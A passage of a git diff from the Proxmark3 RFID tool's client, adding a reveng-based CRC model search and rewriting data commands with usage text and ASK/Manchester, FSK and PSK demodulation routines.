sizeof(char)); + memcpy(inCRC, inHexStr+(dataLen-crcChars), crcChars); + + char *outHex = calloc(dataLen-crcChars+1, sizeof(char)); + memcpy(outHex, inHexStr, dataLen-crcChars); + + // PrintAndLogEx(DEBUG, "DEBUG: dataLen: %d, crcChars: %d, Model: %s, CRC: %s, width: %d, outHex: %s",dataLen, crcChars, Models[i], inCRC, width[i], outHex); + ans = RunModel(Models[i], outHex, false, 0, result); + if (ans) { + // test for match + if (memcmp(result, inCRC, crcChars) == 0){ + PrintAndLogEx(SUCCESS, "\nfound possible match\nmodel: %s | value: %s\n", Models[i], result); + //optional - stop searching if found... + found = true; + } else { + if (crcChars > 2){ + char *swapEndian = SwapEndianStr(result, crcChars, crcChars); + if (memcmp(swapEndian, inCRC, crcChars) == 0){ + PrintAndLogEx(SUCCESS, "\nfound possible match\nmodel: %s | value endian swapped: %s\n", Models[i], swapEndian); + // optional - stop searching if found... + found = true; + } + free(swapEndian); + } + } + } + ans = RunModel(Models[i], outHex, true, 0, revResult); + if (ans) { + // test for match + if (memcmp(revResult, inCRC, crcChars) == 0){ + PrintAndLogEx(SUCCESS, "\nfound possible match\nmodel reversed: %s | value: %s\n", Models[i], revResult); + // optional - stop searching if found... + found = true; + } else { + if (crcChars > 2){ + char *swapEndian = SwapEndianStr(revResult, crcChars, crcChars); + if (memcmp(swapEndian, inCRC, crcChars) == 0){ + PrintAndLogEx(SUCCESS, "\nfound possible match\nmodel reversed: %s | value endian swapped: %s\n", Models[i], swapEndian); + // optional - stop searching if found... + found = true; + } + free(swapEndian); + } + } + } + free(inCRC); + free(outHex); + free(Models[i]); + } + + if (!found) PrintAndLogEx(FAILED, "\nno matches found\n"); + return 1; +} \ No newline at end of file diff --git a/client/cmdcrc.h b/client/cmdcrc.h new file mode 100644 index 000000000..ba9540c45 --- /dev/null +++ b/client/cmdcrc.h @@ -0,0 +1,36 @@ +//----------------------------------------------------------------------------- +// Copyright (C) 2015 iceman +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// CRC Calculations from the software reveng commands +//----------------------------------------------------------------------------- + +#ifndef CMDCRC_H__ +#define CMDCRC_H__ + +#ifdef _WIN32 +# include +# include +# ifndef STDIN_FILENO +# define STDIN_FILENO 0 +# endif /* STDIN_FILENO */ +#endif /* _WIN32 */ + +#include +#include +#include +#include +#include "cmdmain.h" +#include "reveng/reveng.h" +#include "ui.h" +#include "util.h" + +extern int CmdCrc(const char *Cmd); + +extern int CmdrevengSearch(const char *Cmd); +extern int GetModels(char *Models[], int *count, uint8_t *width); +extern int RunModel(char *inModel, char *inHexStr, bool reverse, char endian, char *result); +#endif diff --git a/client/cmddata.c b/client/cmddata.c index fa54d01a6..e85b9a0e9 100644 --- a/client/cmddata.c +++ b/client/cmddata.c @@ -7,921 +7,2065 @@ //----------------------------------------------------------------------------- // Data and Graph commands //----------------------------------------------------------------------------- - -#include -#include -#include -#include -#include "proxmark3.h" -#include "data.h" -#include "ui.h" -#include "graph.h" -#include "cmdparser.h" -#include "util.h" -#include "cmdmain.h" #include "cmddata.h" +uint8_t DemodBuffer[MAX_DEMOD_BUF_LEN]; +//uint8_t g_debugMode = 0; +size_t DemodBufferLen = 0; +size_t g_DemodStartIdx = 0; +int g_DemodClock = 0; + static int CmdHelp(const char *Cmd); -int CmdAmp(const char *Cmd) -{ - int i, rising, falling; - int max = INT_MIN, min = INT_MAX; - - for (i = 10; i < GraphTraceLen; ++i) { - if (GraphBuffer[i] > max) - max = GraphBuffer[i]; - if (GraphBuffer[i] < min) - min = GraphBuffer[i]; - } - - if (max != min) { - rising = falling= 0; - for (i = 0; i < GraphTraceLen; ++i) { - if (GraphBuffer[i + 1] < GraphBuffer[i]) { - if (rising) { - GraphBuffer[i] = max; - rising = 0; - } - falling = 1; - } - if (GraphBuffer[i + 1] > GraphBuffer[i]) { - if (falling) { - GraphBuffer[i] = min; - falling = 0; - } - rising= 1; - } - } - } - RepaintGraphWindow(); - return 0; +int usage_data_printdemodbuf(void){ + PrintAndLogEx(NORMAL, "Usage: data printdemodbuffer x o l "); + PrintAndLogEx(NORMAL, "Options:"); + PrintAndLogEx(NORMAL, " h This help"); + PrintAndLogEx(NORMAL, " x output in hex (omit for binary output)"); + PrintAndLogEx(NORMAL, " o enter offset in # of bits"); + PrintAndLogEx(NORMAL, " l enter length to print in # of bits or hex characters respectively"); + return 0; +} +int usage_data_manrawdecode(void){ + PrintAndLogEx(NORMAL, "Usage: data manrawdecode [invert] [maxErr]"); + PrintAndLogEx(NORMAL, " Takes 10 and 01 and converts to 0 and 1 respectively"); + PrintAndLogEx(NORMAL, " --must have binary sequence in demodbuffer (run data askrawdemod first)"); + PrintAndLogEx(NORMAL, " [invert] invert output"); + PrintAndLogEx(NORMAL, " [maxErr] set number of errors allowed (default = 20)"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, " Example: data manrawdecode = decode manchester bitstream from the demodbuffer"); + return 0; +} +int usage_data_biphaserawdecode(void){ + PrintAndLogEx(NORMAL, "Usage: data biphaserawdecode [offset] [invert] [maxErr]"); + PrintAndLogEx(NORMAL, " Converts 10 or 01 to 1 and 11 or 00 to 0"); + PrintAndLogEx(NORMAL, " --must have binary sequence in demodbuffer (run data askrawdemod first)"); + PrintAndLogEx(NORMAL, " --invert for Conditional Dephase Encoding (CDP) AKA Differential Manchester"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, " [offset <0|1>], set to 0 not to adjust start position or to 1 to adjust decode start position"); + PrintAndLogEx(NORMAL, " [invert <0|1>], set to 1 to invert output"); + PrintAndLogEx(NORMAL, " [maxErr int], set max errors tolerated - default=20"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, " Example: data biphaserawdecode = decode biphase bitstream from the demodbuffer"); + PrintAndLogEx(NORMAL, " Example: data biphaserawdecode 1 1 = decode biphase bitstream from the demodbuffer, set offset, and invert output"); + return 0; +} +int usage_data_rawdemod(void){ + PrintAndLogEx(NORMAL, "Usage: data rawdemod [modulation] |"); + PrintAndLogEx(NORMAL, " [modulation] as 2 char, 'ab' for ask/biphase, 'am' for ask/manchester, 'ar' for ask/raw, 'fs' for fsk, ..."); + PrintAndLogEx(NORMAL, " 'nr' for nrz/direct, 'p1' for psk1, 'p2' for psk2"); + PrintAndLogEx(NORMAL, " as 'h', prints the help for the specific modulation"); + PrintAndLogEx(NORMAL, " see specific modulation help for optional parameters"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, " Example: data rawdemod fs h = print help specific to fsk demod"); + PrintAndLogEx(NORMAL, " : data rawdemod fs = demod GraphBuffer using: fsk - autodetect"); + PrintAndLogEx(NORMAL, " : data rawdemod ab = demod GraphBuffer using: ask/biphase - autodetect"); + PrintAndLogEx(NORMAL, " : data rawdemod am = demod GraphBuffer using: ask/manchester - autodetect"); + PrintAndLogEx(NORMAL, " : data rawdemod ar = demod GraphBuffer using: ask/raw - autodetect"); + PrintAndLogEx(NORMAL, " : data rawdemod nr = demod GraphBuffer using: nrz/direct - autodetect"); + PrintAndLogEx(NORMAL, " : data rawdemod p1 = demod GraphBuffer using: psk1 - autodetect"); + PrintAndLogEx(NORMAL, " : data rawdemod p2 = demod GraphBuffer using: psk2 - autodetect"); + return 0; +} +int usage_data_rawdemod_am(void){ + PrintAndLogEx(NORMAL, "Usage: data rawdemod am [clock] [maxError] [maxLen] [amplify]"); + PrintAndLogEx(NORMAL, " ['s'] optional, check for Sequence Terminator"); + PrintAndLogEx(NORMAL, " [set clock as integer] optional, if not set, autodetect"); + PrintAndLogEx(NORMAL, " , 1 to invert output"); + PrintAndLogEx(NORMAL, " [set maximum allowed errors], default = 100"); + PrintAndLogEx(NORMAL, " [set maximum Samples to read], default = 32768 (512 bits at rf/64)"); + PrintAndLogEx(NORMAL, " , 'a' to attempt demod with ask amplification, default = no amp"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, " Example: data rawdemod am = demod an ask/manchester tag from GraphBuffer"); + PrintAndLogEx(NORMAL, " : data rawdemod am 32 = demod an ask/manchester tag from GraphBuffer using a clock of RF/32"); + PrintAndLogEx(NORMAL, " : data rawdemod am 32 1 = demod an ask/manchester tag from GraphBuffer using a clock of RF/32 and inverting data"); + PrintAndLogEx(NORMAL, " : data rawdemod am 1 = demod an ask/manchester tag from GraphBuffer while inverting data"); + PrintAndLogEx(NORMAL, " : data rawdemod am 64 1 0 = demod an ask/manchester tag from GraphBuffer using a clock of RF/64, inverting data and allowing 0 demod errors"); + return 0; +} +int usage_data_rawdemod_ab(void){ + PrintAndLogEx(NORMAL, "Usage: data rawdemod ab [offset] [clock] [maxError] [maxLen] "); + PrintAndLogEx(NORMAL, " [offset], offset to begin biphase, default=0"); + PrintAndLogEx(NORMAL, " [set clock as integer] optional, if not set, autodetect"); + PrintAndLogEx(NORMAL, " , 1 to invert output"); + PrintAndLogEx(NORMAL, " [set maximum allowed errors], default = 100"); + PrintAndLogEx(NORMAL, " [set maximum Samples to read], default = 32768 (512 bits at rf/64)"); + PrintAndLogEx(NORMAL, " , 'a' to attempt demod with ask amplification, default = no amp"); + PrintAndLogEx(NORMAL, " NOTE: can be entered as second or third argument"); + PrintAndLogEx(NORMAL, " NOTE: can be entered as first, second or last argument"); + PrintAndLogEx(NORMAL, " NOTE: any other arg must have previous args set to work"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, " NOTE: --invert for Conditional Dephase Encoding (CDP) AKA Differential Manchester"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, " Example: data rawdemod ab = demod an ask/biph tag from GraphBuffer"); + PrintAndLogEx(NORMAL, " : data rawdemod ab 0 a = demod an ask/biph tag from GraphBuffer, amplified"); + PrintAndLogEx(NORMAL, " : data rawdemod ab 1 32 = demod an ask/biph tag from GraphBuffer using an offset of 1 and a clock of RF/32"); + PrintAndLogEx(NORMAL, " : data rawdemod ab 0 32 1 = demod an ask/biph tag from GraphBuffer using a clock of RF/32 and inverting data"); + PrintAndLogEx(NORMAL, " : data rawdemod ab 0 1 = demod an ask/biph tag from GraphBuffer while inverting data"); + PrintAndLogEx(NORMAL, " : data rawdemod ab 0 64 1 0 = demod an ask/biph tag from GraphBuffer using a clock of RF/64, inverting data and allowing 0 demod errors"); + PrintAndLogEx(NORMAL, " : data rawdemod ab 0 64 1 0 0 a = demod an ask/biph tag from GraphBuffer using a clock of RF/64, inverting data and allowing 0 demod errors, and amp"); + return 0; +} +int usage_data_rawdemod_ar(void){ + PrintAndLogEx(NORMAL, "Usage: data rawdemod ar [clock] [maxError] [maxLen] [amplify]"); + PrintAndLogEx(NORMAL, " [set clock as integer] optional, if not set, autodetect"); + PrintAndLogEx(NORMAL, " , 1 to invert output"); + PrintAndLogEx(NORMAL, " [set maximum allowed errors], default = 100"); + PrintAndLogEx(NORMAL, " [set maximum Samples to read], default = 32768 (1024 bits at rf/64)"); + PrintAndLogEx(NORMAL, " , 'a' to attempt demod with ask amplification, default = no amp"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, " Example: data rawdemod ar = demod an ask tag from GraphBuffer"); + PrintAndLogEx(NORMAL, " : data rawdemod ar a = demod an ask tag from GraphBuffer, amplified"); + PrintAndLogEx(NORMAL, " : data rawdemod ar 32 = demod an ask tag from GraphBuffer using a clock of RF/32"); + PrintAndLogEx(NORMAL, " : data rawdemod ar 32 1 = demod an ask tag from GraphBuffer using a clock of RF/32 and inverting data"); + PrintAndLogEx(NORMAL, " : data rawdemod ar 1 = demod an ask tag from GraphBuffer while inverting data"); + PrintAndLogEx(NORMAL, " : data rawdemod ar 64 1 0 = demod an ask tag from GraphBuffer using a clock of RF/64, inverting data and allowing 0 demod errors"); + PrintAndLogEx(NORMAL, " : data rawdemod ar 64 1 0 0 a = demod an ask tag from GraphBuffer using a clock of RF/64, inverting data and allowing 0 demod errors, and amp"); + return 0; +} +int usage_data_rawdemod_fs(void){ + PrintAndLogEx(NORMAL, "Usage: data rawdemod fs [clock] [fchigh] [fclow]"); + PrintAndLogEx(NORMAL, " [set clock as integer] optional, omit for autodetect."); + PrintAndLogEx(NORMAL, " , 1 for invert output, can be used even if the clock is omitted"); + PrintAndLogEx(NORMAL, " [fchigh], larger field clock length, omit for autodetect"); + PrintAndLogEx(NORMAL, " [fclow], small field clock length, omit for autodetect"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, " Example: data rawdemod fs = demod an fsk tag from GraphBuffer using autodetect"); + PrintAndLogEx(NORMAL, " : data rawdemod fs 32 = demod an fsk tag from GraphBuffer using a clock of RF/32, autodetect fc"); + PrintAndLogEx(NORMAL, " : data rawdemod fs 1 = demod an fsk tag from GraphBuffer using autodetect, invert output"); + PrintAndLogEx(NORMAL, " : data rawdemod fs 32 1 = demod an fsk tag from GraphBuffer using a clock of RF/32, invert output, autodetect fc"); + PrintAndLogEx(NORMAL, " : data rawdemod fs 64 0 8 5 = demod an fsk1 RF/64 tag from GraphBuffer"); + PrintAndLogEx(NORMAL, " : data rawdemod fs 50 0 10 8 = demod an fsk2 RF/50 tag from GraphBuffer"); + PrintAndLogEx(NORMAL, " : data rawdemod fs 50 1 10 8 = demod an fsk2a RF/50 tag from GraphBuffer"); + return 0; +} +int usage_data_rawdemod_nr(void){ + PrintAndLogEx(NORMAL, "Usage: data rawdemod nr [clock] <0|1> [maxError]"); + PrintAndLogEx(NORMAL, " [set clock as integer] optional, if not set, autodetect."); + PrintAndLogEx(NORMAL, " , 1 for invert output"); + PrintAndLogEx(NORMAL, " [set maximum allowed errors], default = 100."); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, " Example: data rawdemod nr = demod a nrz/direct tag from GraphBuffer"); + PrintAndLogEx(NORMAL, " : data rawdemod nr 32 = demod a nrz/direct tag from GraphBuffer using a clock of RF/32"); + PrintAndLogEx(NORMAL, " : data rawdemod nr 32 1 = demod a nrz/direct tag from GraphBuffer using a clock of RF/32 and inverting data"); + PrintAndLogEx(NORMAL, " : data rawdemod nr 1 = demod a nrz/direct tag from GraphBuffer while inverting data"); + PrintAndLogEx(NORMAL, " : data rawdemod nr 64 1 0 = demod a nrz/direct tag from GraphBuffer using a clock of RF/64, inverting data and allowing 0 demod errors"); + return 0; +} +int usage_data_rawdemod_p1(void){ + PrintAndLogEx(NORMAL, "Usage: data rawdemod p1 [clock] <0|1> [maxError]"); + PrintAndLogEx(NORMAL, " [set clock as integer] optional, if not set, autodetect."); + PrintAndLogEx(NORMAL, " , 1 for invert output"); + PrintAndLogEx(NORMAL, " [set maximum allowed errors], default = 100."); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, " Example: data rawdemod p1 = demod a psk1 tag from GraphBuffer"); + PrintAndLogEx(NORMAL, " : data rawdemod p1 32 = demod a psk1 tag from GraphBuffer using a clock of RF/32"); + PrintAndLogEx(NORMAL, " : data rawdemod p1 32 1 = demod a psk1 tag from GraphBuffer using a clock of RF/32 and inverting data"); + PrintAndLogEx(NORMAL, " : data rawdemod p1 1 = demod a psk1 tag from GraphBuffer while inverting data"); + PrintAndLogEx(NORMAL, " : data rawdemod p1 64 1 0 = demod a psk1 tag from GraphBuffer using a clock of RF/64, inverting data and allowing 0 demod errors"); + return 0; +} +int usage_data_rawdemod_p2(void){ + PrintAndLogEx(NORMAL, "Usage: data rawdemod p2 [clock] <0|1> [maxError]"); + PrintAndLogEx(NORMAL, " [set clock as integer] optional, if not set, autodetect."); + PrintAndLogEx(NORMAL, " , 1 for invert output"); + PrintAndLogEx(NORMAL, " [set maximum allowed errors], default = 100."); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, " Example: data rawdemod p2 = demod a psk2 tag from GraphBuffer, autodetect clock"); + PrintAndLogEx(NORMAL, " : data rawdemod p2 32 = demod a psk2 tag from GraphBuffer using a clock of RF/32"); + PrintAndLogEx(NORMAL, " : data rawdemod p2 32 1 = demod a psk2 tag from GraphBuffer using a clock of RF/32 and inverting output"); + PrintAndLogEx(NORMAL, " : data rawdemod p2 1 = demod a psk2 tag from GraphBuffer, autodetect clock and invert output"); + PrintAndLogEx(NORMAL, " : data rawdemod p2 64 1 0 = demod a psk2 tag from GraphBuffer using a clock of RF/64, inverting output and allowing 0 demod errors"); + return 0; +} +int usage_data_autocorr(void) { + PrintAndLogEx(NORMAL, "Autocorrelate is used to detect repeating sequences. We use it as detection of length in bits a message inside the signal is"); + PrintAndLogEx(NORMAL, "Usage: data autocorr w [g]"); + PrintAndLogEx(NORMAL, "Options:"); + PrintAndLogEx(NORMAL, " h This help"); + PrintAndLogEx(NORMAL, " w window length for correlation - default = 4000"); + PrintAndLogEx(NORMAL, " g save back to GraphBuffer (overwrite)"); + return 0; +} +int usage_data_undecimate(void){ + PrintAndLogEx(NORMAL, "Usage: data undec [factor]"); + PrintAndLogEx(NORMAL, "This function performs un-decimation, by repeating each sample N times"); + PrintAndLogEx(NORMAL, "Options:"); + PrintAndLogEx(NORMAL, " h This help"); + PrintAndLogEx(NORMAL, " factor The number of times to repeat each sample.[default:2]"); + PrintAndLogEx(NORMAL, "Example: 'data undec 3'"); + return 0; +} +int usage_data_detectclock(void){ + PrintAndLogEx(NORMAL, "Usage: data detectclock [modulation] "); + PrintAndLogEx(NORMAL, " [modulation as char], specify the modulation type you want to detect the clock of"); + PrintAndLogEx(NORMAL, " , specify the clock (optional - to get best start position only)"); + PrintAndLogEx(NORMAL, " 'a' = ask, 'f' = fsk, 'n' = nrz/direct, 'p' = psk"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, " Example: data detectclock a = detect the clock of an ask modulated wave in the GraphBuffer"); + PrintAndLogEx(NORMAL, " data detectclock f = detect the clock of an fsk modulated wave in the GraphBuffer"); + PrintAndLogEx(NORMAL, " data detectclock p = detect the clock of an psk modulated wave in the GraphBuffer"); + PrintAndLogEx(NORMAL, " data detectclock n = detect the clock of an nrz/direct modulated wave in the GraphBuffer"); + return 0; +} +int usage_data_hex2bin(void){ + PrintAndLogEx(NORMAL, "Usage: data hex2bin "); + PrintAndLogEx(NORMAL, " This function will ignore all non-hexadecimal characters (but stop reading on whitespace)"); + return 0; +} +int usage_data_bin2hex(void){ + PrintAndLogEx(NORMAL, "Usage: data bin2hex "); + PrintAndLogEx(NORMAL, " This function will ignore all characters not 1 or 0 (but stop reading on whitespace)"); + return 0; +} +int usage_data_buffclear(void){ + PrintAndLogEx(NORMAL, "This function clears the bigbuff on deviceside"); + PrintAndLogEx(NORMAL, "Usage: data buffclear [h]"); + PrintAndLogEx(NORMAL, "Options:"); + PrintAndLogEx(NORMAL, " h This help"); + return 0; +} +int usage_data_fsktonrz() { + PrintAndLogEx(NORMAL, "Usage: data fsktonrz c l f "); + PrintAndLogEx(NORMAL, "Options:"); + PrintAndLogEx(NORMAL, " h This help"); + PrintAndLogEx(NORMAL, " c enter the a clock (omit to autodetect)"); + PrintAndLogEx(NORMAL, " l enter a field clock (omit to autodetect)"); + PrintAndLogEx(NORMAL, " f enter a field clock (omit to autodetect)"); + return 0; } +//set the demod buffer with given array of binary (one bit per byte) +//by marshmellow +void setDemodBuf(uint8_t *buf, size_t size, size_t startIdx) { + if (buf == NULL) return; + + if ( size > MAX_DEMOD_BUF_LEN - startIdx) + size = MAX_DEMOD_BUF_LEN - startIdx; + + for (size_t i = 0; i < size; i++) + DemodBuffer[i] = buf[startIdx++]; + + DemodBufferLen = size; +} + +bool getDemodBuf(uint8_t *buf, size_t *size) { + if (buf == NULL) return false; + if (size == NULL) return false; + if (*size == 0) return false; + + *size = (*size > DemodBufferLen) ? DemodBufferLen : *size; + + memcpy(buf, DemodBuffer, *size); + return true; +} + +// include +// Root mean square +double rms(double *v, size_t n) { + double sum = 0.0; + for(size_t i = 0; i < n; i++) + sum += v[i] * v[i]; + return sqrt(sum / n); +} +int cmp_int( const void *a, const void *b) { + if (*(const int *)a < *(const int *)b) + return -1; + else + return *(const int *)a > *(const int *)b; +} +int cmp_uint8( const void *a, const void *b) { + if (*(const uint8_t *)a < *(const uint8_t *)b) + return -1; + else + return *(const uint8_t *)a > *(const uint8_t *)b; +} +// Median of a array of values +double median_int( int *src, size_t size ) { + qsort( src, size, sizeof(int), cmp_int); + return 0.5 * ( src[size/2] + src[(size-1)/2]); +} +double median_uint8( uint8_t *src, size_t size ) { + qsort( src, size, sizeof(uint8_t), cmp_uint8); + return 0.5 * ( src[size/2] + src[(size-1)/2]); +} +// function to compute mean for a series +static double compute_mean(const int *data, size_t n) { + double mean = 0.0; + for (size_t i=0; i < n; i++) + mean += data[i]; + mean /= n; + return mean; +} + +// function to compute variance for a series +static double compute_variance(const int *data, size_t n) { + double variance = 0.0; + double mean = compute_mean(data, n); + + for (size_t i=0; i < n; i++) + variance += pow(( data[i] - mean), 2.0); + + variance /= n; + return variance; +} + +// Function to compute autocorrelation for a series +// Author: Kenneth J. Christensen +// - Corrected divide by n to divide (n - lag) from Tobias Mueller /* - * Generic command to demodulate ASK. - * - * Argument is convention: positive or negative (High mod means zero - * or high mod means one) - * - * Updates the Graph trace with 0/1 values - * - * Arguments: - * c : 0 or 1 - */ -int Cmdaskdemod(const char *Cmd) -{ - int i; - int c, high = 0, low = 0; +static double compute_autoc(const int *data, size_t n, int lag) { + double autocv = 0.0; // Autocovariance value + double ac_value; // Computed autocorrelation value to be returned + double variance; // Computed variance + double mean; + + mean = compute_mean(data, n); + variance = compute_variance(data, n); + + for (size_t i=0; i < (n - lag); i++) + autocv += (data[i] - mean) * (data[i+lag] - mean); - // TODO: complain if we do not give 2 arguments here ! - // (AL - this doesn't make sense! we're only using one argument!!!) - sscanf(Cmd, "%i", &c); + autocv = (1.0 / (n - lag)) * autocv; - /* Detect high and lows and clock */ - // (AL - clock???) - for (i = 0; i < GraphTraceLen; ++i) - { - if (GraphBuffer[i] > high) - high = GraphBuffer[i]; - else if (GraphBuffer[i] < low) - low = GraphBuffer[i]; - } - if (c != 0 && c != 1) { - PrintAndLog("Invalid argument: %s", Cmd); - return 0; - } + // Autocorrelation is autocovariance divided by variance + ac_value = autocv / variance; + return ac_value; +} +*/ - if (GraphBuffer[0] > 0) { - GraphBuffer[0] = 1-c; - } else { - GraphBuffer[0] = c; - } - for (i = 1; i < GraphTraceLen; ++i) { - /* Transitions are detected at each peak - * Transitions are either: - * - we're low: transition if we hit a high - * - we're high: transition if we hit a low - * (we need to do it this way because some tags keep high or - * low for long periods, others just reach the peak and go - * down) - */ - if ((GraphBuffer[i] == high) && (GraphBuffer[i - 1] == c)) { - GraphBuffer[i] = 1 - c; - } else if ((GraphBuffer[i] == low) && (GraphBuffer[i - 1] == (1 - c))){ - GraphBuffer[i] = c; - } else { - /* No transition */ - GraphBuffer[i] = GraphBuffer[i - 1]; - } - } - RepaintGraphWindow(); - return 0; +// option '1' to save DemodBuffer any other to restore +void save_restoreDB(uint8_t saveOpt) { + static uint8_t SavedDB[MAX_DEMOD_BUF_LEN]; + static size_t SavedDBlen; + static bool DB_Saved = false; + static size_t savedDemodStartIdx = 0; + static int savedDemodClock = 0; + + if (saveOpt == GRAPH_SAVE) { //save + + memcpy(SavedDB, DemodBuffer, sizeof(DemodBuffer)); + SavedDBlen = DemodBufferLen; + DB_Saved=true; + savedDemodStartIdx = g_DemodStartIdx; + savedDemodClock = g_DemodClock; + } else if (DB_Saved) { //restore + memcpy(DemodBuffer, SavedDB, sizeof(DemodBuffer)); + DemodBufferLen = SavedDBlen; + g_DemodClock = savedDemodClock; + g_DemodStartIdx = savedDemodStartIdx; + } +} + +int CmdSetDebugMode(const char *Cmd) { + int demod = 0; + sscanf(Cmd, "%i", &demod); + g_debugMode = (uint8_t)demod; + return 1; } -int CmdAutoCorr(const char *Cmd) +//by marshmellow +// max output to 512 bits if we have more - should be plenty +void printDemodBuff(void) { + int len = DemodBufferLen; + if (len < 1) { + PrintAndLogEx(NORMAL, "(printDemodBuff) no bits found in demod buffer"); + return; + } + if (len > 512) len = 512; + + PrintAndLogEx(NORMAL, "%s", sprint_bin_break(DemodBuffer, len, 16) ); +} + +int CmdPrintDemodBuff(const char *Cmd) { + char hex[512] = {0x00}; + bool hexMode = false; + bool errors = false; + uint32_t offset = 0; + uint32_t length = 512; + char cmdp = 0; + while (param_getchar(Cmd, cmdp) != 0x00 && !errors) { + switch (tolower(param_getchar(Cmd, cmdp))) { + case 'h': + return usage_data_printdemodbuf(); + case 'x': + hexMode = true; + cmdp++; + break; + case 'o': + offset = param_get32ex(Cmd, cmdp+1, 0, 10); + if (!offset) errors = true; + cmdp += 2; + break; + case 'l': + length = param_get32ex(Cmd, cmdp+1, 512, 10); + if (!length) errors = true; + cmdp += 2; + break; + default: + PrintAndLogEx(WARNING, "Unknown parameter '%c'", param_getchar(Cmd, cmdp)); + errors = true; + break; + } + } + //Validations + if (errors) return usage_data_printdemodbuf(); + + if (DemodBufferLen == 0) { + PrintAndLogEx(NORMAL, "Demodbuffer is empty"); + return 0; + } + length = (length > (DemodBufferLen-offset)) ? DemodBufferLen-offset : length; + int numBits = (length) & 0x00FFC; //make sure we don't exceed our string + + if (hexMode){ + char *buf = (char *) (DemodBuffer + offset); + numBits = (numBits > sizeof(hex)) ? sizeof(hex) : numBits; + numBits = binarraytohex(hex, buf, numBits); + if (numBits==0) return 0; + PrintAndLogEx(NORMAL, "DemodBuffer: %s",hex); + } else { + PrintAndLogEx(NORMAL, "DemodBuffer:\n%s", sprint_bin_break(DemodBuffer+offset,numBits,16)); + } + return 1; +} + +//by marshmellow +//this function strictly converts >1 to 1 and <1 to 0 for each sample in the graphbuffer +int CmdGetBitStream(const char *Cmd) { + CmdHpf(Cmd); + for (uint32_t i = 0; i < GraphTraceLen; i++) + GraphBuffer[i] = (GraphBuffer[i] >= 1) ? 1 : 0; + + RepaintGraphWindow(); + return 0; +} + +//by marshmellow +//Cmd Args: Clock, invert, maxErr, maxLen as integers and amplify as char == 'a' +// (amp may not be needed anymore) +//verbose will print results and demoding messages +//emSearch will auto search for EM410x format in bitstream +//askType switches decode: ask/raw = 0, ask/manchester = 1 +int ASKDemod_ext(const char *Cmd, bool verbose, bool emSearch, uint8_t askType, bool *stCheck) { + int invert = 0; + int clk = 0; + int maxErr = 100; + int maxLen = 0; + uint8_t askamp = 0; + char amp = param_getchar(Cmd, 0); + uint8_t BitStream[MAX_GRAPH_TRACE_LEN] = {0}; + + sscanf(Cmd, "%i %i %i %i %c", &clk, &invert, &maxErr, &maxLen, &); + + if (!maxLen) maxLen = BIGBUF_SIZE; + + if (invert != 0 && invert != 1) { + PrintAndLogEx(WARNING, "Invalid argument: %s", Cmd); + return 0; + } + + if (clk == 1) { + invert = 1; + clk = 0; + } + + size_t BitLen = getFromGraphBuf(BitStream); + + PrintAndLogEx(DEBUG, "DEBUG: (ASKDemod_ext) Bitlen from grphbuff: %d", BitLen); + + if (BitLen < 255) return 0; + + if (maxLen < BitLen && maxLen != 0) BitLen = maxLen; + + int foundclk = 0; + //amp before ST check + if (amp == 'a' || amp == 'A') + askAmp(BitStream, BitLen); + + bool st = false; + size_t ststart = 0, stend = 0; + if (*stCheck) + st = DetectST(BitStream, &BitLen, &foundclk, &ststart, &stend); + + if (st) { + *stCheck = st; + clk = (clk == 0) ? foundclk : clk; + CursorCPos = ststart; + CursorDPos = stend; + if (verbose || g_debugMode) + PrintAndLogEx(NORMAL, "Found Sequence Terminator - First one is shown by orange and blue graph markers"); + } + + int startIdx = 0; + int errCnt = askdemod_ext(BitStream, &BitLen, &clk, &invert, maxErr, askamp, askType, &startIdx); + + if (errCnt < 0 || BitLen < 16){ //if fatal error (or -1) + PrintAndLogEx(DEBUG, "DEBUG: (ASKDemod_ext) No data found errors:%d, invert:%d, bitlen:%d, clock:%d", errCnt, invert, BitLen, clk); + return 0; + } + + if (errCnt > maxErr){ + PrintAndLogEx(DEBUG, "DEBUG: (ASKDemod_ext) Too many errors found, errors:%d, bits:%d, clock:%d", errCnt, BitLen, clk); + return 0; + } + + if (verbose || g_debugMode) PrintAndLogEx(DEBUG, "DEBUG: (ASKDemod_ext) Using clock:%d, invert:%d, bits found:%d", clk, invert, BitLen); + + //output + setDemodBuf(BitStream,BitLen,0); + setClockGrid(clk, startIdx); + + if (verbose || g_debugMode){ + if (errCnt > 0) + PrintAndLogEx(NORMAL, "# Errors during Demoding (shown as 7 in bit stream): %d",errCnt); + if (askType) + PrintAndLogEx(NORMAL, "ASK/Manchester - Clock: %d - Decoded bitstream:",clk); + else + PrintAndLogEx(NORMAL, "ASK/Raw - Clock: %d - Decoded bitstream:",clk); + // Now output the bitstream to the scrollback by line of 16 bits + printDemodBuff(); + } + uint64_t lo = 0; + uint32_t hi = 0; + if (emSearch) + AskEm410xDecode(true, &hi, &lo); + + return 1; +} +int ASKDemod(const char *Cmd, bool verbose, bool emSearch, uint8_t askType) { + bool st = false; + return ASKDemod_ext(Cmd, verbose, emSearch, askType, &st); +} + +//by marshmellow +//takes 5 arguments - clock, invert, maxErr, maxLen as integers and amplify as char == 'a' +//attempts to demodulate ask while decoding manchester +//prints binary found and saves in graphbuffer for further commands +int Cmdaskmandemod(const char *Cmd) { - static int CorrelBuffer[MAX_GRAPH_TRACE_LEN]; + char cmdp = param_getchar(Cmd, 0); + if (strlen(Cmd) > 45 || cmdp == 'h' || cmdp == 'H') return usage_data_rawdemod_am(); - int window = atoi(Cmd); + bool st = true; + if (Cmd[0]=='s') + return ASKDemod_ext(Cmd++, true, true, 1, &st); + else if (Cmd[1] == 's') + return ASKDemod_ext(Cmd+=2, true, true, 1, &st); - if (window 